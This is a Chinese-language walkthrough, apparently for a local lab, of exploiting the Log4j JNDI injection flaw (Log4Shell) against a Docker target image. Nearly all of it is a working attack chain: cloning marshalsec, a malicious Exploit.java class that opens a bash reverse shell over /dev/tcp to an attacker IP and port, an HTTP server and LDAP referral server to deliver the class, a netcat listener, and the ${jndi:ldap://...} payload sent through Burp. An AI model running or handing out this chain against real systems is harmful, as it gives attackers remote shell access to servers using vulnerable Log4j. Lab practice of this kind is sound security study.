本次用aliyuncs.com/fengxuan/log4j_vuln镜像本地搭建靶场,利用 marshalsec-0.0.3-SNAPSHOT-all.jar ,编写恶意类Exploit.java,开启LDAP服务,进行反弹shell。
一、靶场环境
1、搭建靶场和下载工具
1)下载工具
git clone https://github.com/RandomRobbieBF/marshalsec-jar.git
2)搭建靶场
docker run -it -d -p 8082:8080 --name log4j_vuln_container registry.cn-hangzhou.aliyuncs.com/fengxuan/log4j_vuln
docker exec -it log4j_vuln_container /bin/bash
/bin/bash /home/apache-tomcat-8.5.45/bin/startup.sh
访问: http://safe.***.**:8082/webstudy/hello-fengxuan

burp抓包修改为POST方法:

二、攻击利用
1、编写恶意类Exploit.java
EXP:注意反弹shell用 bash -i >& /dev/tcp/ip/port 0>&1 无法成功,需要用exec
ip/port 指向nc监听的IP及端口
public class Exploit {
public Exploit(){
try{
// 要执行的命令
String[] commands = {"bash","-c","exec 5<>/dev/tcp/192.168.24.210/9999;cat <&5 | while read line; do $line 2>&5 >&5; done"};
Process pc = Runtime.getRuntime().exec(commands);
pc.waitFor();
} catch(Exception e){
e.printStackTrace();
}
}
public static void main(String[] argv) {
Exploit e = new Exploit();
}
}
编译:
javac Exploit.java
将需要用到的3个文件放到一个目录下
2、开启web服务
python -m SimpleHTTPServer 5678
访问:
3、工具开启LDAP服务
映射端口5678为 8899
java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer http://192.168.24.210:5678/#Exploit 8899
4、等待反弹shell
开启nc监听:
nc -lvnp 9999
5、burp修改包添加payload-发送
c=${jndi: ldap://192.168.24.210: 8899 /Exploit }